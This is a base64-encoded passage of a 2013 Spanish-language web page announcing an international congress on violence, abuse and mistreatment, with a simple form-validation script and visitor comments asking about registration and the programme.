nJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+CjxTQ1JJUFQgTEFOR1VBR0U9IkphdmFTY3JpcHQiPgpmdW5jdGlvbiBpc0VtcHR5KHMpIHsKICByZXR1cm4gKChzID09IG51bGwpIHx8IChzLmxlbmd0aCA9PSAwKSkKfQoKZnVuY3Rpb24gaXNFbWFpbEFkZHJlc3MocykgewoJLy92YXIgZmlsdGVyPS9eW0EtWmEtel1bQS1aYS16MC05X10qQFtBLVphLXowLTlfXStcLltBLVphLXowLTlfLl0rW0EtemEtel0kLzsKCXZhciBmaWx0ZXI9L15cdysoW1wuLV0/XHcrKSpAXHcrKFtcLi1dP1x3KykqKFwuXHd7MiwzfSkrJC87CglpZiAocy5sZW5ndGggPT0gMCApIHJldHVybiB0cnVlOwoJaWYgKGZpbHRlci50ZXN0KHMpKSB7CgkJcmV0dXJuIHRydWU7Cgl9IGVsc2UgewoJCXJldHVybiBmYWxzZTsKCX0KfQoKZnVuY3Rpb24gdmFsaWRhcihvYmopIHsKICAgCiAgICBlcnJvcnMgPSAiIjsKICAgIAogICAgLy9Ob21icmUKICAgIGlmIChpc0VtcHR5KG9iai5ub21icmUudmFsdWUpKSB7CiAgICAgIGVycm9ycyArPSAiXG4tIEVsIE5vbWJyZSBlc3RhIHZhY2lvIjsKICAgIH0KCS8vRW1haWwKICAgIGlmIChpc0VtcHR5KG9iai5lbWFpbC52YWx1ZSkpIHsKICAgICAgZXJyb3JzICs9ICJcbi0gRWwgRW1haWwgZXN0YSB2YWNpbyI7CiAgICB9IGVsc2UgewoJCWlmIChpc0VtYWlsQWRkcmVzcyhvYmouZW1haWwudmFsdWUpID09IGZhbHNlKSB7CgkJCWVycm9ycyArPSAiXG4tIEVsIEVtYWlsIGluZ3Jlc2FkbyBlcyBpbmNvcnJlY3RvIjsKCQl9Cgl9CiAgICAvL0NvbWVudGFyaW8KICAgIGlmIChpc0VtcHR5KG9iai5jb21lbnRhcmlvLnZhbHVlKSkgewogICAgICBlcnJvcnMgKz0gIlxuLSBFbCBDb21lbnRhcmlvIGVzdGEgdmFjaW8iOwogICAgfQogICAgCiAgICBpZiAoIShlcnJvcnM9PSIiKSl7CgkJbXNnID0gIl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX1xuXG5MYSByZWdpc3RyYWNp824gbm8gZnVlIGxsZXZhZGEgYSBjYWJvIHBvciBjYXVzYSBkZSBsb3Mgc2lndWllbnRlcyBlcnJvcmVzLlxuUG9yIGZhdm9yLCBjb3Jy7WphbG9zIHkgdnVlbHZhIGEgZW52aWFyLlxuX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXG4iOwoJCWlmIChlcnJvcnMhPSIiKXsKCQkJbXNnICs9IGVycm9yczsKCQl9CgkJYWxlcnQobXNnKTsKCQlyZXR1cm4gZmFsc2U7Cgl9ZWxzZXsKCSAgCgkgIG9iai5yZWNhcHRjaGFfY2hhbGxlbmdlX2ZpZWxkX2QudmFsdWUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVjYXB0Y2hhX2NoYWxsZW5nZV9maWVsZCcpLnZhbHVlOwoJICBvYmoucmVjYXB0Y2hhX3Jlc3BvbnNlX2ZpZWxkX2QudmFsdWUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVjYXB0Y2hhX3Jlc3BvbnNlX2ZpZWxkJykudmFsdWU7CgkgIAoJICByZXR1cm4gdHJ1ZTsKCX0KfQo8L1NDUklQVD4KPHN0eWxlPgojYXBlbGxpZG8gewogICAgZGlzcGxheTogbm9uZTsKfQojYWRkcmVzcyB7CiAgICBkaXNwbGF5OiBub25lOwp9Cjwvc3R5bGU+Cjx0YWJsZSB3aWR0aD0iNTk2IiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+Cjx0ciBhbGlnbj0iY2VudGVyIj4KICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMDcuanBnIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzUlIiBhbGlnbj0iY2VudGVyIj48YSBocmVmPSJqYXZhc2NyaXB0OjsiIG9uQ2xpY2s9IndpbmRvdy5vcGVuKCdpbXByaW1pci5waHA/bm90YT0zMDEnLCAnbm90YV9pbXByaW1pcicsICdyZXNpemFibGU9MSxzY3JvbGxiYXJzPTEnKSI+PGltZyBzcmM9ImltZy9pY29ub3Mtbm90YV8wOC5qcGciIHdpZHRoPSI5OCIgaGVpZ2h0PSI0NCIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzMiUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNyZhbXA7aWRwYWc9MTQiPjxpbWcgc3JjPSJpbWcvaWNvbm9zLW5vdGFfMDUuanBnIiB3aWR0aD0iMTIzIiBoZWlnaHQ9IjQ3IiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMzJSI+PGltZyBzcmM9ImltZy9pY29ub3Mtbm90YV8wMy5qcGciIHdpZHRoPSIxMDgiIGhlaWdodD0iNDgiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwNDIwMTMuMS5qcGciIHdpZHRoPSI0MjAiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KCQkJCSAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+CiAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMTUiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4yMi8xMS8yMDEzPGJyPjxzcGFuIGNsYXNzPSJ0cmFiVElUIj48Zm9udCBmYWNlPSJHZW9yZ2lhLCBUaW1lcyBOZXcgUm9tYW4sIFRpbWVzLCBzZXJpZiI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L2ZvbnQ+PGJyIC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRlbmlkbyI+PHN0cm9uZz48Zm9udCBzaXplPSIxIj5WaWN0aW1vbG9n7WEsIENyaW1pbm9sb2ftYSB5IEfpbmVyby4gVW5hIHRyaWxvZ+1hIGNvbXBsZWphPC9mb250Pjwvc3Ryb25nPjwvc3Bhbj48L3NwYW4+PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxkaXYgY2xhc3M9ImRlc3RhY2Fkb3MiPjxwPiZuYnNwOzwvcD4NCjxwPjE0LCAxNSB5IDE2IGRlIE5vdmllbWJyZTwvcD4NCjxwPjxzdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+T3JnYW5pemE6IFNhbHVkIEFjdGl2YTwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij5BcXVlbGxvcyBpbnNjcmlwdG9zIGFsIHBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGhhc3RhIGVsIDMwLzA1LzIwMTMsIHB1ZGVuIGFjY2VkZXIgYSBpbXBvcnRhbnRlcyBkZXNjdWVudG9zIGVuIGxhIGluc2NyaXBjaSZvYWN1dGU7biBkZWwgY29uZ3Jlc28uPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2kmb2FjdXRlO246IFVuaXZlcnNpZGFkIGRlbCBFc3RlLCBDYWxsZSAyIE4mb3JkbTsgNjg0LCBMYSBQbGF0YSwgQnVlbm9zIEFpcmVzPC9wPg0KPHA+PHN0cm9uZz48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjAwMDA7Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOiB4LXNtYWxsOyI+SU5TQ1JJUENJT05FUyBDT04gREVTQ1VFTlRPIEhBU1RBIEVMIDI3IERFIEFHT1NUTyEhISE8L3NwYW4+PC9zcGFuPjwvc3Ryb25nPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tIiB0YXJnZXQ9Il9ibGFuayI+bWFzIGluZm9ybWFjaW9uPC9hPjwvcD4NCjxwPiZuYnNwOzwvcD48L2Rpdj4gPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJCiAgICAJCQkJCSAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjQyMCIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDYiIHZhbGlnbj0iYm90dG9tIj4KCQkJCQkgIAkJCQkJICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzMTMiIHZhbGlnbj0ibWlkZGxlIj4KCQkJCQkgIAkJCQkJICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJib3R0b20iPjxhIGhyZWY9ImluZGV4LnBocCIgY2xhc3M9ImJvdG9uIj4mbHQ7Jmx0O1ZPTFZFUjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgPHRkID48L3RkPgogICAgICAgICAgICAgICAgPC90cj4KCgkJCQk8Zm9ybSBuYW1lPSJmb3JtdV9jb21lbnRhcmlvIiBhY3Rpb249Imd1YXJkYXJfZGFuaS5waHAiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9InJldHVybiB2YWxpZGFyKHRoaXMpOyI+CgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY2MiIHZhbHVlPSJndWFyZGFyX2NvbWVudGFyaW8iPgoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibm90YSIgdmFsdWU9IjMwMSI+CgkJCQkKCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlY2FwdGNoYV9jaGFsbGVuZ2VfZmllbGRfZCIgdmFsdWU9IiI+CgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWNhcHRjaGFfcmVzcG9uc2VfZmllbGRfZCIgdmFsdWU9IiI+CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijg1JSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRyYWJUSVQiPjxmb250IGZhY2U9Ikdlb3JnaWEsIFRpbWVzIE5ldyBSb21hbiwgVGltZXMsIHNlcmlmIj5Db21lbnRhcmlvczwvZm9udD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMSUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAJCQkJCTx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMzAiIGNsYXNzPSJib3JkZWFycmliYSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgYWxpZ249InJpZ2h0IiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz5Ob21icmU6PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYyJSI+PHNwYW4gY2xhc3M9ImNvbnRlbmlkbyI+T2ZlbGlhIERlbCBDYXJtZW4gIE1pbGxhIDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTglIiBjbGFzcz0iZGVzdGFjYWRvcyI+PHN0cm9uZz4wOS8wNi8yMDEzICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPkNvbWVudGFyaW86PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9InRleHRvbnVldm8iPk11eSBJbnRlcmVzYW50ZSBsYSBwcm9wdWVzdGEhISEgcGFydGljaXBlIGRlIGxhIGpvcm5hZGFzIGRlIEFydGVtaWRlcyBlbiBjaXBvbGxldHRpIHlvIHNveSBkZSBBbGxlbiAsQWNvbXBh8WFudGUgVGVyYXDpdXRpY2EgeVByb2Zlc29yYSBFbnNl8WFuemEgUHJpbWFyaWEudHViZSBsYSBvcG9ydHVuaWRhZCBjb25vY2VyIGEgQmVhdHJpeiBNdWxsZXI8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCQk8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjbGFzcz0iYm9yZGVhcnJpYmEiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIGFsaWduPSJyaWdodCIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+Tm9tYnJlOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiUiPjxzcGFuIGNsYXNzPSJjb250ZW5pZG8iPkFkcmlhbmEgY2FybGEgR29ybGVybzwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTglIiBjbGFzcz0iZGVzdGFjYWRvcyI+PHN0cm9uZz4xNS8wNi8yMDEzICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPkNvbWVudGFyaW86PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9InRleHRvbnVldm8iPlNveSB0ZXNpc3RhIGRlIGFudHJvcCBzb2MsIHkgY3JlZSAgdW4gcHJvZ3JhbWEgZGUiQ29udGVuY2lvbiB5IGZvcnRhbGVjaW1pZW50byBwYXJhIHBlcnNvbmFzIGVuIHNpdHVhY2lvbiBkZSB2aW9sZW5jaWEscXVlIHNlIGltcGxlbWVudGEgZGVzZGUgZWwgYfFvIDIwMTEuIFJlY2liZW4gcG9uZW5jaWFzPyBtdWNoYXMgZ3JhY2lhcyA8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCQk8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjbGFzcz0iYm9yZGVhcnJpYmEiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIGFsaWduPSJyaWdodCIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+Tm9tYnJlOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiUiPjxzcGFuIGNsYXNzPSJjb250ZW5pZG8iPkxlb25vcjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTglIiBjbGFzcz0iZGVzdGFjYWRvcyI+PHN0cm9uZz4yNy8wNi8yMDEzICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPkNvbWVudGFyaW86PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9InRleHRvbnVldm8iPkdyYWNpYXMgcG9yIGVzdGUgY29uZ3Jlc28gdGFuIGltcG9ydGFudGUuIENvbW8gZnV0dXJhIFByb2Zlc29yYSBlbiBDcy4gZGUgbGEgRWR1Y2FjafNuIHkgT3BlcmFkb3JhIGVuIFBzLiBTYyBtZSBpbnRlcmVzYSB0cmFiYWphciBlc3RvcyB0ZW1hcy5Fc3Blcm8gY29uIGFuc2lhcyBwb2RlciBhc2lzdGlyIDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KCQkJCQkJCQkJCTx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMzAiIGNsYXNzPSJib3JkZWFycmliYSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgYWxpZ249InJpZ2h0IiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz5Ob21icmU6PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYyJSI+PHNwYW4gY2xhc3M9ImNvbnRlbmlkbyI+RGVuaXNzZTwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTglIiBjbGFzcz0iZGVzdGFjYWRvcyI+PHN0cm9uZz4wNS8wOC8yMDEzICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPkNvbWVudGFyaW86PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9InRleHRvbnVldm8iPr9Db21vIGhhZ28gcGFyYSBpbnNjcmliaXJtZT88L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCQk8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjbGFzcz0iYm9yZGVhcnJpYmEiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIGFsaWduPSJyaWdodCIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+Tm9tYnJlOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiUiPjxzcGFuIGNsYXNzPSJjb250ZW5pZG8iPnNhbmRyYSB2YWxkZXo8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE4JSIgY2xhc3M9ImRlc3RhY2Fkb3MiPjxzdHJvbmc+MjEvMDgvMjAxMyAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz5Db21lbnRhcmlvOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJ0ZXh0b251ZXZvIj5lc3RveSBpbnRlcmVzYWRhIGVuIGNvbm9jZXIgbWFzIGFjZXJjYSBkZSBlc3RhIGpvcm5hZGEuIFByb2dyYW1hLCBwcmVjaW8gZXRjLiBQb2RyaWFuIGVudmlhciBlc3RhIGluZm9ybWFjaW9uLiBEZXNkZSB5YSBtdWhjYXMgZ3JhY2lhcyA8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCQk8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjbGFzcz0iYm9yZGVhcnJpYmEiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIGFsaWduPSJyaWdodCIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+Tm9tYnJlOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiUiPjxzcGFuIGNsYXNzPSJjb250ZW5pZG8iPmdyYWNpZWxhIGxpbGlhbmEga2FlbXBmZm1hbm48L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE4JSIgY2xhc3M9ImRlc3RhY2Fkb3MiPjxzdHJvbmc+MTAvMDkvMjAxMyAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz5Db21lbnRhcmlvOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJ0ZXh0b251ZXZvIj5NZSBpbnRlcmVzYSBlc3RlIENvbmdyZXNvLCB5YSBxdWUgdHJhYmFqbyBjb21vIHRlY25pY2EgZW4gbGEgdW5pZGFkIGVqZWN1dG9yYSBkZSB2aW9sZW5jaWEgZmFtaWxpYXIsIG